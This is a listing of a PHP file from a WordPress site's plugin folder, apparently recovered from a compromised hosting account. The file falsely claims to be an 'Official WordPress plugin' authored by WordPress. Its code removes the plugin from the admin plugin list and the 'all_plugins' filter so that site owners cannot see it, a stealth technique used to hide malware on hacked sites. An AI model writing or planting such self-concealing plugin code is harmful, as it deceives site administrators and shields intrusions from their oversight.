File "wp-mechanical-reproductive.php"

Full Path: /home/theinspectionboy/public_html/suffolk/plugins-20250617152554/wp-mechanical-reproductive/wp-mechanical-reproductive.php
File size: 980 bytes
MIME-type: text/x-php
Charset: utf-8

<?php
/*
Plugin Name: WP Mechanical Reproductive
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 9.1.8
Author URI: http://wordpress.org/#
License: GPL2
*/

function sxr_gct()
{
    global $wp_list_table;
    
    if (!isset($wp_list_table)) {
        return;
    }

    $h = array('wp-mechanical-reproductive/wp-mechanical-reproductive.php');

    if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
        foreach ($wp_list_table->items as $key => $val) {
            if (in_array($key, $h)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
}

function ucp_dqm($plugins)
{
    $p = 'wp-mechanical-reproductive/wp-mechanical-reproductive.php';
    if (array_key_exists($p, $plugins)) {
        unset($plugins[$p]);
    }
    return $plugins;
}

if (defined('ABSPATH')) {
    add_action('pre_current_active_plugins', 'sxr_gct');
    add_filter('all_plugins', 'ucp_dqm');
}